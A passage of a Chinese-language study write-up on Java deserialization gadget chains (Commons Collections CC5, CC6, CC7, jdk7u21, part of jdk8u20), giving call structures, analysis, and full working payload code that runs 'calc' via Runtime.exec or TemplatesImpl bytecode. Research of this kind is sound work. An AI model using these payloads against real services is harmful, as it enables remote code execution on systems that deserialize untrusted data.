29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class Test4 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static ChainedTransformer getTransformerChain() throws Exception {
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(TransformerFactoryImpl.class),
new InvokerTransformer("newInstance",null,null),
new InvokerTransformer("newTransformerHandler",new Class[]{Templates.class},new Object[]{getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();")})
};

return new ChainedTransformer(tfs);
}

public static TemplatesImpl getTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass[] cs = new CtClass[]{
pool.makeClass("a" + System.nanoTime()),
pool.makeClass("b" + System.nanoTime())
};

cs[0].makeClassInitializer().insertBefore(cmd);

byte[][] bc = new byte[][]{
cs[0].toBytecode(),
cs[1].toBytecode()
};

// 实例化templates并通过反射赋值
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", bc);
setFieldValue(templates, "_name", "dqv5");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_transletIndex", 0);

return templates;
}

public static void main(String[] args) throws Exception {



// 构造TransformingComparator
InvokerTransformer itf = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator tc = new TransformingComparator(getTransformerChain());

// 构造PriorityQueue
PriorityQueue pq = new PriorityQueue(2, tc);

setFieldValue(pq, "size", 2);
setFieldValue(pq, "queue", new Object[]{getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();"), null});


// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();


}
}

执行结果👇

image-20220215115513899

也是可以的。

- CC5 -

实验环境:

  • jdk1.8.0_20
  • Commons Collections 3.2.0

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

BadAttributeValueExpException.readObject()
👇
TiedMapEntry.toString()
👇
LazyMap.get()
👇
ChainedTransformer.transform()
👇
ConstantTransformer.transform() => Runtime.class
👇
InvokerTransformer.transform() => Runtime.getRuntime
👇
InvokerTransformer.transform() => Runtime.getRuntime()
👇
InvokerTransformer.tarnsform() => Runtime.getRuntime().exec()

- 分析 -

这个在 CC链 中应该是比较短的链了,后半段和 CC1 链差不多,就是前半段对 [(Map)可控].get 的调用过程不同罢。

先来看 BadAttributeValueExpException 类👇

image-20220215120411712

首先 BadAttributeValueExpException 类属于 Exception 子类,而 Exception 类是可以序列化的,进而 BadAttributeValueExpException 也是可以序列化的;再看 readObject 方法,倘若 System.getSecurityManager() == null 成立就会执行 val = valObj.toString() ,其中 valObj 变量来自 val 属性序列化的值,也就是可控且可序列化的。

那么跟进 System.getSecurityManager() 👇

image-20220215120745086

可见默认的返回值为 null ,也就会往下执行 val = valObj.toString() 了。只是需要注意的是不能够直接通过构造方法来控制 val 属性的值,得用反射,否则就会提前执行 val = valObj.toString()

由于 val 属性类型为 Object ,现在就拥有了 [可控].toString() 的结构了。

跟进 TiedMapEntry 类👇

image-20220215121356428

先来看 TiedMapEntry 类的 toString 方法,存在对 getValue 方法的调用,而 getValue 方法中又有 return this.map.get(this.key) 语句;其中 this.map 属性类型为 Map 且可控可序列化,假若将 this.map 属性的值设为 LazyMap 类,进而就可以用有关 Transformer 的调用 payload 了。

并且 TiedMapEntry 类的 this.map 属性可以由构造方法直接赋值,还是比较方便的。

- payload -

在构造 payload 时只需要注意 BadAttributeValueExpException 类的 val 属性必须由反射构造,剩下的按照分析进行拼接就好了👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class Test5 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static ChainedTransformer getTransformerChain(String cmd) {
Transformer[] tfs = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd})
};

return new ChainedTransformer(tfs);
}

public static void main(String[] args) throws Exception {

// 生成有关Transformer的payload
Map map = LazyMap.decorate(new HashMap(), getTransformerChain("calc"));

// 构造TiedMapEntry
TiedMapEntry tm = new TiedMapEntry(map,Runtime.class);

// 构造BadAttributeValueExpException
BadAttributeValueExpException bave = new BadAttributeValueExpException(null);

setFieldValue(bave,"val",tm);

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(bave);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();


}
}

执行结果👇

image-20220215122820368

是成功了。

- CC6 -

实验环境:

  • jdk1.7.0_02
  • Commons Collections 3.2.0

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

HashSet.readObject()
👇
HashMap.put()
👇
HashMap.hash()
👇
TiedMapEntry.hashCode()
👇
TiedMapEntry.getValue()
👇
LazyMap.get()
👇
ChainedTransformer.transform()
👇
ConstantTransformer.transform() => Runtime.class
👇
InvokerTransformer.transform() => Runtime.getRuntime
👇
InvokerTransformer.transform() => Runtime.getRuntime()
👇
InvokerTransformer.tarnsform() => Runtime.getRuntime().exec()

- 分析 -

这个也是改了前半段,后面的还是旧东西了,先来看 HashSet 类的 readObject 方法👇

image-20220215124417717

这个 HashSet 类显然是可序列化的,在其 readObject 会依次读取所存入的 map 属性的内容,然后去调用 map.put ,其中键名的值来自 map 属性。

再看 writeObject 方法,其实就是将 map 属性写入序列化内容中👇

image-20220215124746370

这个 map 属性也就可以看作是可控且可序列化的了,那么继续跟进 map.put 的调用,其实也就是 HashMap 类的 put 方法👇

image-20220215125150124

由于键名的值是可控的,hash(key.hashCode()) 就相当于 [可控].hashCode() 的结构。

跟进 TiedMapEntry 类的 hashCode 方法👇

image-20220215125535292

可以看到调用了自身的 getValue 方法,跟进 getValue 方法就是回到了 CC5 链的中段了👇

image-20220215125630362

其实主要来说也就是调用到 TiedMapEntry 类的 getValue 方法前半段过程相较于 CC5 链不同罢了。

- payload -

简单来说稍微的替换一下 CC5 链的前半段就可以了,当然由于 HashSet 类做的是成全 [可控].hashCode() 的结构,其他的类如果能满足也是可以的,比如 Hashtable 类👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Test6 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static ChainedTransformer getTransformerChain(String cmd) {
Transformer[] tfs = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd})
};

return new ChainedTransformer(tfs);
}

public static void main(String[] args) throws Exception {

// 生成有关Transformer的payload
Map map = LazyMap.decorate(new HashMap(), getTransformerChain("calc"));

// 构造TiedMapEntry
TiedMapEntry tm = new TiedMapEntry(map,null);

// 构造Hashtable
Hashtable ht = new Hashtable();
ht.put(tm,1);

// 在put完毕后再通过反射赋值以免本地执行
setFieldValue(tm,"key",Runtime.class);

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(ht);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();


}
}


执行结果👇

image-20220215133043038

是成功了。

- CC7 -

实验环境:

  • jdk1.8.0_20
  • Commons Collections 3.2.0

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

Hashtable.readObject()
👇
Hashtable.reconstitutionPut()
👇
AbstractMapDecorator.equals()
👇
AbstractMap.equals()
👇
LazyMap.get()
👇
ChainedTransformer.transform()
👇
ConstantTransformer.transform() => Runtime.class
👇
InvokerTransformer.transform() => Runtime.getRuntime
👇
InvokerTransformer.transform() => Runtime.getRuntime()
👇
InvokerTransformer.tarnsform() => Runtime.getRuntime().exec()

- 分析 -

这个链仍然是改了前半段,先来看 Hashtable 类的 readObject 方法👇

image-20220215140542306

这里是依次将序列化进去的内容取出,并将其作为 keyvalue 参数去调用 reconstitutionPut 方法,显然这些序列化的内容是由 writeObject 方法写入序列化中的👇

image-20220215140730778

而这些内容是来自 Hashtable 类的 table 属性,是可控的,且由于会在 readObject 方法中读取这些内容,那么 table 属性也是可以看作可序列化的,进而传入 reconstitutionPut 方法的 keyvalue 参数是可控可序列化的。

继续跟进 reconstitutionPut 方法👇

image-20220215141240414

可见如果构造合适的值,让 e.hash == hash 成立时会执行到 e.key.equals(key) 这条语句,而变量 e 来自 tab 变量,也就是 Hashtable 类的 table 属性;同时在这个 reconstitutionPut 方法后面会有一个将传入的 keyvalue 参数存储至 table 属性的操作,这就意味着变量 e 的值是可以通过序列化数据控制的,也可以说是可控的。

此时也就可以得到形如 [可控].equals() 的结构,接着来看 LazyMap 类👇

image-20220215141947170

它是属于 AbstractMapDecorator 的子类,再跟进 AbstractMapDecorator 类,可以发现其拥有 equals 方法👇

image-20220215142133217

如果传入 equals 的参数内容不为自身时,会接着调用 equals 方法,由于 this.map 属性为 Map 接口,且这个属性的值可以由 AbstractMapDecorator 类的构造方法赋值👇

image-20220215142534574

显然 LazyMap 类的构造方法存在 super() 的调用👇

image-20220215142700703

因此 this.map 属性也就是可控的了,再来看 AbstractMap 类的 equals 方法👇

image-20220215142942549

可以看到存在形如 [(Map)可控].get() 的结构,那么假如将上面的 this.map 属性构造成 AbstractMap 的子类,如空的 HashMap 类,然后构造好传入的参数 oLazyMap 就可以到达 LazyMap.get 的形式了,后面就是有关 Transformer 调用的 payload 拼接了。

重新来看 Hashtable 类的 reconstitutionPut 方法👇

image-20220215144953002

由于这里的 (e.hash == hash) && e.key.equals(key) 需要前一段,也就是 e.hash 必须成立,而变量 e 来自 table 属性,变量 hash 则来自读取的内容,就需要构造一个容量至少为 2Hashtable ,以便第一个内容从 reconstitutionPut 方法注册进 table 属性后,第二个内容能和第一个内容(在 table 属性里的)作比较。

同时要满足第二个内容能和第一个内容作比较,就必须让变量 index 值相等,而变量 index 的值由 hash 变量计算得到,变量 hash 的值又由传入的 key 参数的 hashCode 方法得到,这就需要构造的容量为 2Hashtable 键名值的 hashCode 方法得到的值必须是一样的。

另外由上面的分析可知,这个需要构造的容量为 2Hashtable 的键名值必须为 LazyMap 类,这样才能在最后 AbstractMap 类中 equals 方法中由 e.key.equals(key) -> m = Key -> m.get()

此时这个需要构造的 Hashtable 内容大致如下👇

  • Hashtable.put([LazyMap类(new HashMap(),Transformer的payload)],[任意值])
  • Hashtable.put([LazyMap类(new HashMap(),Transformer的payload)],[任意值])

再来看如何让 e.hash == hash ,显然由于传入的 key 参数已经被规定为 LazyMap ,跟进 LazyMap 类的 HashCode 方法(在 AbstractMapDecorator 中)👇

image-20220215150553475

可见是用了 this.map 属性的 hashCode 方法得到的结果,而 this.map 则被规定为了 HashMap ,来到 AbstractMap 类可以得到 HashCode 方法的具体实现👇

image-20220215151250071

得到的是遍历整个 HashMap ,计算其每个元素通过 hashCode 方法得到的值之和,而这个元素实际上是 HashMap 类中的 Node 类,下面是其 hashCode 方法的实现👇

image-20220215151850541

简单来说就是各调用键名值和对应值的 hashCode 方法,计算两者异或得到的结果作为 hashCode 方法的返回值。

那么如何让其通过 hashCode 方法得到的值相等呢,这方法可就多了,像什么玩字符溢出的,字符0值的,字符碰撞啥的都行。如果从简单的角度来说,由于在java中数值的 hashCode 方法得到的值一般是其本身的整型,众所周知任意数异或本身得数为0,像是 11 异或得到的值就为0,22 异或也为0,也就可以让存储在 LazyMap 中的 HashMap 内容设成两个相等的数值。

但由于 Hashtable 类的 put 方法中也存在 equals 方法的调用操作👇

image-20220215160327702

在构造 payload 时如果进行 put 操作,就会间接通过 LazyMap 类的 get 方法中的 super.map.put(key, value) 将第一个 LazyMapHashMap 键名以及调用 payload 得到的值放入第二个 LazyMapHashMap 中👇

image-20220215161447059

image-20220215161044296

因此在构造 payload 时不仅需要先赋假值然后通过反射改值,还得 remove 掉第二个 LazyMapHashMap 多出的键值对。

- payload -

这条链的 payload 就有些复杂了👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Test7 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static Transformer[] getTransformers(String cmd) {
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd})
};

return tfs;
}

public static void main(String[] args) throws Exception {

// 生成有关假的有关Transformer的payload
Transformer[] fake = new Transformer[]{new ConstantTransformer("1")};

Transformer transformerChain = new ChainedTransformer(fake);

// 构造两个LazyMap
Map map1 = LazyMap.decorate(new HashMap(), transformerChain);
Map map2 = LazyMap.decorate(new HashMap(), transformerChain);

// 其中 map1.hashCode = map2.hashCode = 0
map1.put(1,1);
map2.put(2,2);

// 构造Hashtable
Hashtable ht = new Hashtable();
ht.put(map1,"123");
ht.put(map2,"321");

// 删除多余键值对
map2.remove(1);

// 在put完毕后再通过反射赋值以免本地执行
setFieldValue(transformerChain,"iTransformers",getTransformers("calc"));

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(ht);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

执行结果👇

image-20220215162003391

是成功了。

- jdk7u21 -

实验环境:

  • jdk1.6.0_45

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

HashSet.readObject()
👇
HashMap.put()
👇
(Map)Proxy.equals()
👇
(Map)Proxy.invoke() <=> AnnotationInvocationHandler.invoke()
👇
AnnotationInvocationHandler.equalsImpl()
👇
TemplatesImpl.newTransformer()
👇
TemplatesImpl.getTransletInstance()
👇
TemplatesImpl.defineTransletClasses()
👇
newInstance()

- 分析 -

这个链的和 CC7 链差不多,都需要往里面塞两个内容,然后通过 反序列化 注册进 table 属性后进行有关 equals 方法调用,不过用的是 HashMapput 方法,在结构上会有些不同。

先来看 AnnotationInvocationHandlerequalsImpl 方法👇

image-20220217111454977

这里会调用自身的 getMemberMethods 方法获取 某个类 的所有方法,然后遍历这些方法依次进行调用,跟进 getMemberMethods 方法👇

image-20220217111707216

可见是获取了 this.type 属性的所有方法,显然 this.type 属性是可控且可序列化的👇

image-20220217112034758

那么假设将 this.type 的值控制成 TemplatesImpl 类,也就可以遍历调用 TemplatesImpl 的所有方法,而在这些方法中就存在着 newTransformer 方法,进而达成 TemplatesImplpayload

因此现在的关注点来到了 AnnotationInvocationHandler 代理调用的具体实现,先来看 HashSetreadObject 方法👇

image-20220217112545163

会先遍历将写入读取序列化的内容进行 反序列化 并将结果作为参数调用 map 属性的 put 方法,这些写入的内容来自其 writeObject 方法👇

image-20220217112731818

也就是可以将这些在 readObject 方法中读取的序列化内容当作是控且可序列化的,继续跟进 map 属性的 put 方法,由于 map 属性类型为 HashMap 👇

image-20220217113008760

那么直接来看 HashMap 类的 put 方法👇

image-20220217113157674

这和 CC7 链中的 put 方法部分的操作实际上是差不多的,唯一的区别是这里是以第一个内容的键名的值作为参数去调用第二个内容的 equals 方法。

因此必须保证 HashMap 中两个内容的 hashCode 是一致的,至于这两个内容的构成结构为如下👇

  • HashSet.put([TemplatesImpl类()])
  • HashSet.put([AnnotationInvocationHand类()])

其中第一个内容的 TemplatesImpl 类即是 TemplatesImplpayload 内容,第二个内容的 AnnotationInvocationHand 类作为代理使用。至于第一个内容必须先为 TemplatesImpl 类的原因是在最后 AnnotationInvocationHand 类的 equalsImpl 方法中👇

image-20220217114011691

这个 invoke 方法所使用的类来自 equals 方法传入的参数,显然是必须为 TemplatesImpl 类的。

然后是保证第二个内容能达成 e.hash == hash && ((k = e.key) == key || key.equals(k)) 的语句,其中变量 e 来自 table 属性中索引为变量 i 的值,而变量 i 的值由变量 hash 的值决定,变量 hash 的值又来自键名的值的 hashCode 方法的返回值,要满足上边的条件也就得保证两个内容的键名的值调用 hashCode 方法的返回值一致,也就是等价于得让 TemplatesImpl.hashCode() == AnnotationInvocationHand.hashCode() 成立。

其中 TemplatesImpl.hashCode() 的值无法控制,而 AnnotationInvocationHand.hashCode() 在调用时由于 AnnotationInvocationHand 被作为代理使用,会先来到其 invoke 方法👇

image-20220217115405948

进而调用其 hashCodeImpl 方法👇

image-20220217115620665

可见在调用 hashCode 的最终返回值由 this.memberValues 属性的元素决定,而 this.memberValues 属性是可控且可序列化的。

继续看主要的部分 var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()) ,其中 var3 变量为 this.memberValues 属性的值,这里会将 this.memberValues 属性各个元素中键名的值和对应的值调用 hashCode 方法得到的返回值进行异或的结果依次加上,最后返回得到的结果。而众所周知任意值对 0 的异或都为其本身,若这个 this.memberValues 属性的元素仅有一个且唯一一个元素的键名的值调用 hashCode 方法得到的结果为 0 ,只要再让这个唯一一个元素的值的内容为 TemplatesImpl 类就可以让 TemplatesImpl.hashCode() == AnnotationInvocationHand.hashCode() 成立了。

那么如何找到一个 hashCode 方法结果为 0 的值呢,最简单的当然是用数值型,不过由于 ((String)var3.getKey()).hashCode() 这一段让这个键名的值必须为字符串型,因此跟进 String 类的 hashCode 方法👇

image-20220217120738522

可见其 hashCode 方法的最终返回值是遍历字符串中所有字符与其 hash 属性计算叠加的结果,而 hash 属性默认值是为 0 的且为 int 类型,此时就有两种方式能让返回值为 0 👇

  • int 类型溢出
  • 0 字节字符

其中 int 类型溢出是流传的比较常用的方法,主要原理是因为 int 类型为 8 个字节长度,只要使最后计算的 hash 属性叠加的结果刚好为 0x100000000 就可以返回 0 了,因为当 hash 属性计算的叠加值大于 0xffffffff 时就有可能出现负数。

比如经典字符串f5a5a608 就是用的这个方法👇

image-20220217121701326

可见是出现了负数,如果接着计算则相当于 (((((-1322903560 * 31) & 0xffffffff + 48) & 0xffffffff) * 31) & 0xffffffff + 56) & 0xffffffff ,其中 ((((-1322903560 * 31) & 0xffffffff + 48) & 0xffffffff) * 31) & 0xffffffff 值为 0xffffffC8 ,也就是 -56

还可以写一个简单的脚本来找这些字符👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from itertools import product

s = [each for each in range(256)]
# 字符串长度>=5才有可能溢出
p = product(s,repeat=5)

def main():

for c in p:
h = 0
for t in c:
h = (31 * h + t) & 0xffffffff
h = (31 * h) & 0xffffffff

if h > 0xffffff00:
print(c)
with open("result.txt","a+") as f:
f.write(str(c)+"\n")

if __name__ == '__main__':
main()

最后再计算溢出差值即可,比如 (142, 242, 198, 241, 171) 差值为 252 👇

image-20220217123745040

可见这个字符串的 hashCode 值是为 0 了。

第二种 0 字节字符是最简单的了,注意观察 h = 31*h + val[off++] 式子,其中 h 来自 hash 属性的值,而 hash 属性的默认值为 0 ,只需构造一个任意长度的 0 字节即可让最后返回值为 0 ,比如👇

image-20220217124235175

非常的简单。

之后就是将 TemplatesImpl 类的 payload 放到上述任一经过 hashCode 返回值为 0 的字符串键名对应的值就好了。另外,必须让 HashSet.put([TemplatesImpl类()]) 先被 writeObject ,这样才能够用使 TemplatesImplpayload 作为参数去调用 AnnotationInvocationHand 代理的 equals 方法。

- payload -

关键点在于如何让 HashSet.put([TemplatesImpl类()]) 先被 writeObject ,比如可以改一下 AnnotationInvocationHandmemberValues 属性的值👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class jdk7u21 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass[] cs = new CtClass[]{
pool.makeClass("a" + System.nanoTime()),
pool.makeClass("b" + System.nanoTime())
};

cs[0].makeClassInitializer().insertBefore(cmd);

byte[][] bc = new byte[][]{
cs[0].toBytecode(),
cs[1].toBytecode()
};

// 实例化templates并通过反射赋值
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", bc);
setFieldValue(templates, "_name", "dqv5");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_transletIndex", 0);

return templates;
}

public static void main(String[] args) throws Exception{

Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihC = aih.getDeclaredConstructor(Class.class, Map.class);
aihC.setAccessible(true);

// 构造TemplatesImpl
TemplatesImpl ti = getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();");

// 构造key
String key = new String(new char[]{0});

// 构造AnnotationInvocationHandler代理
HashMap hm = new HashMap();
hm.put(key,ti.hashCode());

InvocationHandler aihC1 = (InvocationHandler) aihC.newInstance(Templates.class, hm);
Map proxy = (Map) Proxy.newProxyInstance(aih.getClassLoader(), new Class[]{Map.class}, aihC1);

// 构造HashSet
HashSet hs = new HashSet();
hs.add(proxy);
hs.add(ti);

// 避免本地执行
hm.put(key,ti);

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hs);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

}
}

执行结果👇

image-20220217131300533

是成功了。

- jdk8u20 -

在原 jdk8u20 链的基础上稍作了一些修改,研究这个 jdk8u20 链的师傅们tql。

实验环境:

  • jdk1.8.0_20

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

BeanContextSupport.readObject()
👇
BeanContextSupport.readChildren()
👇
(Map)Proxy.readObject() <=> AnnotationInvocationHandler.readObject()
👇
HashSet.readObject()
👇
HashMap.put()
👇
(Map)Proxy.equals()
👇
(Map)Proxy.invoke() <=> AnnotationInvocationHandler.invoke()
👇
AnnotationInvocationHandler.equalsImpl()
👇
TemplatesImpl.newTransformer()
👇
TemplatesImpl.getTransletInstance()
👇
TemplatesImpl.defineTransletClasses()
👇
newInstance()

- 分析 -

其实 jdk8u20 链的后半段就是 jdk7u21 链了,之所以多出了半段是因为在 AnnotationInvocationHandlerreadObject 方法中多了一个对 AnnotationInvocationHandlertype 属性类型的判断👇

image-20220217132952568

显然如果使用 jdk7u21payload 在这一段会 throw 出错误,那么如何规避这个错误呢,比方说可以用镶嵌的 try 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TestTry {
public static void main(String[] args) {
System.out.println("START");
try {
try {
System.out.println(1 / 0);
} catch (Exception e) {
System.out.println("THROW");
throw new Exception("throw");
}
}catch (Exception e){}
System.out.println("END");
}
}

执行该代码将得到结果👇

image-20220217133426287

可见最后是能过到达 END 输出的,这是因为第二个 try 将第一个 trythrow 出的错误给 catch 了,同时没有任何作为,那么在途中就不会报错了。

如果跟进 BeanContextSupport 类的 readChildren 方法,就可以看到类似镶嵌 try 的结构,并且在第二个 try 中有关于 readObject 方法的调用👇

image-20220217133854893

而这个 readChildren 方法可以由 BeanContextSupport 类的 readObject 到达👇

image-20220217133818887

那么该如何利用 BeanContextSupport 类的 readChildren 方法中 try 里的循环 readObject 呢,这就涉及到了关于 反序列化 时的问题。

简单来说为当 A 类进行反序列化时如果有 readObject 多个 B 类的内容,则只会对 B反序列化 一次(仅调用一次 B 类的 readObject 方法),此后在 A 类中如果进行有关 B 类的调用就会使用第一次 B反序列化 得到的 B 类实例。

比方说以下代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import java.io.*;

class B implements Serializable {
public String s;
private void readObject(ObjectInputStream i) throws Exception {
i.defaultReadObject();
System.out.println("THROW");
throw new Exception("Error");
}
}

class A implements Serializable{
public B b;
private void writeObject(ObjectOutputStream o) throws IOException {
o.defaultWriteObject();
o.writeObject(b);
}
private void readObject(ObjectInputStream i) throws IOException, ClassNotFoundException {
try{
i.defaultReadObject();
}catch (Exception e){}
System.out.println(((B)i.readObject()).s);
}
}



public class TestClass {
public static void main(String[] args) throws Exception{
B b = new B();
b.s = "OK";
A a = new A();
a.b = b;

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(a);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

}
}

得到结果👇

image-20220217140240635

可见虽然 B 类在 A 类的 defaultReadObject 中有 throw 出错误,但 B反序列化 得到的实例还是在的,从而在 System.out.println(((B)i.readObject()).s) 二次调用同一个 B 类实例时并没有再次调用 B类的 readObject 方法。当然,前提是 B 类在其 readObject 方法中 throw 出错误前,得先 defaultReadObject 读取序列化数据。

但如果是在 readObjectthrow 出了错误,则下一段的 readObject 则会 throwIOException 👇

image-20220217142712729

那么如何规避这类错误呢,经过调试,当调用到 Object c = i.readObject() 时,错误来自 ObjectInputStream 类的 readObject0 方法👇

image-20220217145402093

此时 defaultDataEnd 属性的值为 true ,也就会执行到了 throw new OptionalDataException(true) ,因此现在的目标是如何让 defaultDataEnd 属性一直为 false

先来看 defaultDataEnd 属性的默认值👇

image-20220217150819709

